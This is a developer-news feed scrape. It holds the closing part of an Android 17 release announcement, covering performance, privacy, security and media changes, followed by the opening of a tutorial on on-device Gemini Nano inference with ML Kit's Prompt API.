<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

